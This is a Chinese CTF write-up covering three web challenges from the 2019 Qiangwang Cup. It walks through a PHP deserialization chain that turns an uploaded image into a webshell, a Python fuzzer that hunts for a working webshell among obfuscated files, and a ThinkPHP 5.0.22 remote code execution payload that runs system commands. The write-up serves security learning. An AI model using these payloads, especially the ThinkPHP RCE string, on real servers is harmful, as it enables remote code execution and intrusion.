2019第三届强网杯部分WEB WP
UPLOAD
- 注意此题需要在PHP7环境中才能复现,在PHP5中由于异常处理机制,不会调用析构函数。
- 打开网页,发现是一个注册登陆页面,注册之后可以上传图片。
- 扫描根目录,发现有源码
www.gz.tar
,下载后可以看到在tp5目录中有.idea
文件夹,说明是使用phpstorm写的。导入phpstorm发现了两个断点:
1234567
//Register.phppublic function __destruct(){ if(!$this->registed){ $this->checker->index(); // 断点1 } }
12345678910111213 |
//Index.phppublic function login_check(){ $profile=cookie('user'); if(!empty($profile)){ $this->profile=unserialize(base64_decode($profile)); // 断点2 $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find(); if(array_diff($this->profile_db,$this->profile)==null){ return 1; }else{ return 0; } } |
提示反序列化存在漏洞。
- 结合本题为上传题,猜测是要结合反序列化和上传两个点攻击。观察析构函数,如果
registed
为False则调用checker的index函数。 - 查找是否有可以利用的类,发现
Profile.php
中的Profile
类中无index
函数,而且有__call
函数:
123456
public function __call($name, $arguments){ if($this->{$name}){ $this->{$this->{$name}}($arguments); } }
如果调用Profile类的index函数,就会调用__call('index')
,此时,如果构造的Profile类的index指向任意一个函数,就会调用该函数。而本题是上传题,首先想到upload_img
函数:
123456789101112131415161718192021222324252627 |
public function upload_img(){ if($this->checker){ if(!$this->checker->login_check()){ $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index"; $this->redirect($curr_url,302); exit(); } } if(!empty($_FILES)){ $this->filename_tmp=$_FILES['upload_file']['tmp_name']; $this->filename=md5($_FILES['upload_file']['name']).".png"; $this->ext_check(); } if($this->ext) { if(getimagesize($this->filename_tmp)) { @copy($this->filename_tmp, $this->filename); @unlink($this->filename_tmp); $this->img="../upload/$this->upload_menu/$this->filename"; $this->update_img(); }else{ $this->error('Forbidden type!', url('../index')); } }else{ $this->error('Unknow file type!', url('../index')); } } |
可以看到在if($this->ext)
之后的逻辑中,可以通过修改$this->filename_tmp
和$this->filename
达到图片重命名的目的,将上传的图片马还原为webshell。
- 所以先上传一个图片马。
- 然后构造payload:
123456789101112131415161718192021222324252627
namespace app\web\controller;class Register{ public $checker;}class Profile{ public $filename_tmp; public $filename; public $ext; public $except; public $index;}$reg=new Register();$prof=new Profile();$prof->filename_tmp='upload/837ec5754f503cfaaee0929fd48974e7/00bf23e130fa1e525e332ff03dae345d.png';//原文件名(图片马$prof->filename='upload/1.php';//目标文件名$prof->ext=true;//过检查$prof->index='upload_img';$reg->registed = false;//register析构函数中的条件$reg->checker=$prof;echo base64_encode(serialize($reg));
将输出代替cookie中的user值,访问。 7. 可以看到成功重命名webshell了。
8. 拿蚁剑连接可以在根目录处找到flag。
高明的黑客
- 我在做这道题的时候想的是用hook,但是发现这道题用hook似乎没办法做,因为文件太多了,而只有一个文件可以用,不可能手工挨个试。
- 在本地复现的时候,想法很简单,先按文件匹配出POST和GET的参数,然后对每个参数都传入
system(whoami)
和whoami
,分别对应eval型和直接调用system型webshell。
做题过程:
- 下载源码
-
编写脚本:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960
import osimport requestsimport redef return_files(rootDir): list_dirs = os.walk(rootDir) funfiles=[] for root, dirs, files in list_dirs: for f in files: funfiles.append(os.path.join(root, f)) return funfilesIF_DEBUG=Falseexp_list=['whoami','system("whoami")']url_pre='http://localhost:802/qwb/web2/'pat1=r"\$_GET\['(\w+)'\]"pat2=r"\$_POST\['(\w+)'\]"files=return_files('src')i=0for vfile in files: print(i,vfile) i+=1 get_params=[] post_params=[] with open(vfile) as fr: try: lines=fr.readlines() except UnicodeDecodeError: print(vfile) continue for line in lines: get_params+=re.findall(pat1,line) post_params+=re.findall(pat2,line) for exp in exp_list: post_dic={} for post_param in post_params: post_dic[post_param]=exp shell_name=vfile[4:] if(len(get_params+post_params)!=0): t1=requests.get(url_pre+shell_name).text temp_url=url_pre+shell_name+'?' for get_param in get_params: temp_url+=get_param+'='+exp+'&' temp_url=temp_url[:-1] if(IF_DEBUG): print(t1) print(temp_url) print(post_dic) exit() t2=requests.post(temp_url,data=post_dic).text if(len(t1)!=len(t2)): print(temp_url) print(post_dic)
-
对本地一通扫之后,输出:
1
http://localhost/qwb/web2/xk0SzyKwfzw.php?z5c_TrB=whoami&xd0UXc39w=whoami&xd0UXc39w=whoami&DdWk_nXmZTF_Dt=whoami&dthxTqRPg8YtH=whoami&ImPVuGCXfrS=whoami&O0yRgyjaOF7m=whoami&DeMcscsp=whoami&YV8nqJDhD=whoami&EMNPxS2A7=whoami&kBVLzQEgb=whoami&kBVLzQEgb=whoami&Efa5BVG=whoami&i_QfWB2x1=whoami&i_QfWB2x1=whoami&E8NPXbr7Cq=whoami&zfEddFlxaK_FTO3A=whoami&qjWSY5fjcgNtb=whoami&qUVRuZTF27EhUKTI=whoami
-
由于不想挨个找参数,我直接替换掉每个参数:
12
url='http://localhost/qwb/web2/xk0SzyKwfzw.php?z5c_TrB=whoami&xd0UXc39w=whoami&xd0UXc39w=whoami&DdWk_nXmZTF_Dt=whoami&dthxTqRPg8YtH=whoami&ImPVuGCXfrS=whoami&O0yRgyjaOF7m=whoami&DeMcscsp=whoami&YV8nqJDhD=whoami&EMNPxS2A7=whoami&kBVLzQEgb=whoami&kBVLzQEgb=whoami&Efa5BVG=whoami&i_QfWB2x1=whoami&i_QfWB2x1=whoami&E8NPXbr7Cq=whoami&zfEddFlxaK_FTO3A=whoami&qjWSY5fjcgNtb=whoami&qUVRuZTF27EhUKTI=whoami'print(url.replace('whoami','cat /flag'))
-
访问得到flag
强网先锋 上单
- 进入界面,发现thinkphp版本为5.0.22,立刻想到前段时间写过博客的RCE,直接上payload:
1
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
拿到flag
前两道题的源码
https://github.com/HACHp1/hackable_cms_store/tree/master/qwb
- source:hachp1.github.io
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论